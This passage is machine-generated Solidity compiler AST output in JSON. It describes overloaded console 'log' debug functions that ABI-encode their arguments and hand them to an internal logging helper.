5","nodeType":"VariableDeclaration","scope":28365,"src":"40467:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28345,"name":"bool","nodeType":"ElementaryTypeName","src":"40467:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28348,"mutability":"mutable","name":"p2","nameLocation":"40490:2:15","nodeType":"VariableDeclaration","scope":28365,"src":"40476:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28347,"name":"string","nodeType":"ElementaryTypeName","src":"40476:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28350,"mutability":"mutable","name":"p3","nameLocation":"40502:2:15","nodeType":"VariableDeclaration","scope":28365,"src":"40494:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28349,"name":"address","nodeType":"ElementaryTypeName","src":"40494:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"40448:57:15"},"returnParameters":{"id":28352,"nodeType":"ParameterList","parameters":[],"src":"40520:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28388,"nodeType":"FunctionDefinition","src":"40634:181:15","nodes":[],"body":{"id":28387,"nodeType":"Block","src":"40709:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c75696e7432353629","id":28379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40759:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8e3f78a95b6137f6ae9ccc69d6fedacb3b283b432b4367bfc497a4b3b428665c","typeString":"literal_string \"log(string,bool,bool,uint256)\""},"value":"log(string,bool,bool,uint256)"},{"id":28380,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28367,"src":"40792:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28381,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28369,"src":"40796:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28382,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28371,"src":"40800:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28383,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28373,"src":"40804:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8e3f78a95b6137f6ae9ccc69d6fedacb3b283b432b4367bfc497a4b3b428665c","typeString":"literal_string \"log(string,bool,bool,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28377,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40735:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28378,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40739:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40735:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28384,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40735:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28376,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"40719:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28385,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40719:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28386,"nodeType":"ExpressionStatement","src":"40719:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40643:3:15","parameters":{"id":28374,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28367,"mutability":"mutable","name":"p0","nameLocation":"40661:2:15","nodeType":"VariableDeclaration","scope":28388,"src":"40647:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28366,"name":"string","nodeType":"ElementaryTypeName","src":"40647:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28369,"mutability":"mutable","name":"p1","nameLocation":"40670:2:15","nodeType":"VariableDeclaration","scope":28388,"src":"40665:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28368,"name":"bool","nodeType":"ElementaryTypeName","src":"40665:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28371,"mutability":"mutable","name":"p2","nameLocation":"40679:2:15","nodeType":"VariableDeclaration","scope":28388,"src":"40674:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28370,"name":"bool","nodeType":"ElementaryTypeName","src":"40674:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28373,"mutability":"mutable","name":"p3","nameLocation":"40691:2:15","nodeType":"VariableDeclaration","scope":28388,"src":"40683:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28372,"name":"uint256","nodeType":"ElementaryTypeName","src":"40683:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"40646:48:15"},"returnParameters":{"id":28375,"nodeType":"ParameterList","parameters":[],"src":"40709:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28411,"nodeType":"FunctionDefinition","src":"40821:186:15","nodes":[],"body":{"id":28410,"nodeType":"Block","src":"40902:105:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c737472696e6729","id":28402,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40952:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9d22d5dd5fa6b44920526f32944af8a0b12651bcfe7d5e4d9330573146eaf058","typeString":"literal_string \"log(string,bool,bool,string)\""},"value":"log(string,bool,bool,string)"},{"id":28403,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28390,"src":"40984:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28404,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28392,"src":"40988:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28405,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28394,"src":"40992:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28406,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28396,"src":"40996:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9d22d5dd5fa6b44920526f32944af8a0b12651bcfe7d5e4d9330573146eaf058","typeString":"literal_string \"log(string,bool,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28400,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40928:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28401,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40932:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40928:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40928:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28399,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"40912:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40912:88:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28409,"nodeType":"ExpressionStatement","src":"40912:88:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40830:3:15","parameters":{"id":28397,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28390,"mutability":"mutable","name":"p0","nameLocation":"40848:2:15","nodeType":"VariableDeclaration","scope":28411,"src":"40834:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28389,"name":"string","nodeType":"ElementaryTypeName","src":"40834:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28392,"mutability":"mutable","name":"p1","nameLocation":"40857:2:15","nodeType":"VariableDeclaration","scope":28411,"src":"40852:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28391,"name":"bool","nodeType":"ElementaryTypeName","src":"40852:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28394,"mutability":"mutable","name":"p2","nameLocation":"40866:2:15","nodeType":"VariableDeclaration","scope":28411,"src":"40861:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28393,"name":"bool","nodeType":"ElementaryTypeName","src":"40861:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28396,"mutability":"mutable","name":"p3","nameLocation":"40884:2:15","nodeType":"VariableDeclaration","scope":28411,"src":"40870:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28395,"name":"string","nodeType":"ElementaryTypeName","src":"40870:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"40833:54:15"},"returnParameters":{"id":28398,"nodeType":"ParameterList","parameters":[],"src":"40902:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28434,"nodeType":"FunctionDefinition","src":"41013:175:15","nodes":[],"body":{"id":28433,"nodeType":"Block","src":"41085:103:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c626f6f6c29","id":28425,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41135:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_895af8c5b50078ceec3119054e20583155eeb3e1a8f56b8ed56efbec57456ad2","typeString":"literal_string \"log(string,bool,bool,bool)\""},"value":"log(string,bool,bool,bool)"},{"id":28426,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28413,"src":"41165:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28427,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28415,"src":"41169:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28428,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28417,"src":"41173:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28429,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28419,"src":"41177:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_895af8c5b50078ceec3119054e20583155eeb3e1a8f56b8ed56efbec57456ad2","typeString":"literal_string \"log(string,bool,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28423,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41111:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41115:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41111:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41111:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28422,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"41095:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41095:86:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28432,"nodeType":"ExpressionStatement","src":"41095:86:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41022:3:15","parameters":{"id":28420,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28413,"mutability":"mutable","name":"p0","nameLocation":"41040:2:15","nodeType":"VariableDeclaration","scope":28434,"src":"41026:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28412,"name":"string","nodeType":"ElementaryTypeName","src":"41026:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28415,"mutability":"mutable","name":"p1","nameLocation":"41049:2:15","nodeType":"VariableDeclaration","scope":28434,"src":"41044:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28414,"name":"bool","nodeType":"ElementaryTypeName","src":"41044:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28417,"mutability":"mutable","name":"p2","nameLocation":"41058:2:15","nodeType":"VariableDeclaration","scope":28434,"src":"41053:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28416,"name":"bool","nodeType":"ElementaryTypeName","src":"41053:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28419,"mutability":"mutable","name":"p3","nameLocation":"41067:2:15","nodeType":"VariableDeclaration","scope":28434,"src":"41062:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28418,"name":"bool","nodeType":"ElementaryTypeName","src":"41062:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"41025:45:15"},"returnParameters":{"id":28421,"nodeType":"ParameterList","parameters":[],"src":"41085:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28457,"nodeType":"FunctionDefinition","src":"41194:181:15","nodes":[],"body":{"id":28456,"nodeType":"Block","src":"41269:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c2c6164647265737329","id":28448,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41319:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7190a529624f3e9168945b9053b9648f6439313f31cad0801b50f9dc38a45d4d","typeString":"literal_string \"log(string,bool,bool,address)\""},"value":"log(string,bool,bool,address)"},{"id":28449,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28436,"src":"41352:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28450,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28438,"src":"41356:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28451,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28440,"src":"41360:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28452,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28442,"src":"41364:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7190a529624f3e9168945b9053b9648f6439313f31cad0801b50f9dc38a45d4d","typeString":"literal_string \"log(string,bool,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28446,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41295:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28447,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41299:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41295:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41295:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28445,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"41279:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28454,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41279:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28455,"nodeType":"ExpressionStatement","src":"41279:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41203:3:15","parameters":{"id":28443,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28436,"mutability":"mutable","name":"p0","nameLocation":"41221:2:15","nodeType":"VariableDeclaration","scope":28457,"src":"41207:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28435,"name":"string","nodeType":"ElementaryTypeName","src":"41207:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28438,"mutability":"mutable","name":"p1","nameLocation":"41230:2:15","nodeType":"VariableDeclaration","scope":28457,"src":"41225:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28437,"name":"bool","nodeType":"ElementaryTypeName","src":"41225:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28440,"mutability":"mutable","name":"p2","nameLocation":"41239:2:15","nodeType":"VariableDeclaration","scope":28457,"src":"41234:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28439,"name":"bool","nodeType":"ElementaryTypeName","src":"41234:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28442,"mutability":"mutable","name":"p3","nameLocation":"41251:2:15","nodeType":"VariableDeclaration","scope":28457,"src":"41243:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28441,"name":"address","nodeType":"ElementaryTypeName","src":"41243:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"41206:48:15"},"returnParameters":{"id":28444,"nodeType":"ParameterList","parameters":[],"src":"41269:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28480,"nodeType":"FunctionDefinition","src":"41381:187:15","nodes":[],"body":{"id":28479,"nodeType":"Block","src":"41459:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c616464726573732c75696e7432353629","id":28471,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41509:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5d08bb051545e1af26b8dc05172e6aa8a0bd85212ec19e971b10cea364c21531","typeString":"literal_string \"log(string,bool,address,uint256)\""},"value":"log(string,bool,address,uint256)"},{"id":28472,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28459,"src":"41545:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28473,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28461,"src":"41549:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28474,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28463,"src":"41553:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28475,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28465,"src":"41557:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5d08bb051545e1af26b8dc05172e6aa8a0bd85212ec19e971b10cea364c21531","typeString":"literal_string \"log(string,bool,address,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28469,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41485:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28470,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41489:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41485:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28476,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41485:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28468,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"41469:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28477,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41469:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28478,"nodeType":"ExpressionStatement","src":"41469:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41390:3:15","parameters":{"id":28466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28459,"mutability":"mutable","name":"p0","nameLocation":"41408:2:15","nodeType":"VariableDeclaration","scope":28480,"src":"41394:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28458,"name":"string","nodeType":"ElementaryTypeName","src":"41394:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28461,"mutability":"mutable","name":"p1","nameLocation":"41417:2:15","nodeType":"VariableDeclaration","scope":28480,"src":"41412:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28460,"name":"bool","nodeType":"ElementaryTypeName","src":"41412:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28463,"mutability":"mutable","name":"p2","nameLocation":"41429:2:15","nodeType":"VariableDeclaration","scope":28480,"src":"41421:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28462,"name":"address","nodeType":"ElementaryTypeName","src":"41421:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28465,"mutability":"mutable","name":"p3","nameLocation":"41441:2:15","nodeType":"VariableDeclaration","scope":28480,"src":"41433:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28464,"name":"uint256","nodeType":"ElementaryTypeName","src":"41433:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"41393:51:15"},"returnParameters":{"id":28467,"nodeType":"ParameterList","parameters":[],"src":"41459:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28503,"nodeType":"FunctionDefinition","src":"41574:192:15","nodes":[],"body":{"id":28502,"nodeType":"Block","src":"41658:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c616464726573732c737472696e6729","id":28494,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41708:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2d8e33a4e52268aad313274a8446eec6f40466a28da2456a8f12d83b298c13ef","typeString":"literal_string \"log(string,bool,address,string)\""},"value":"log(string,bool,address,string)"},{"id":28495,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28482,"src":"41743:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 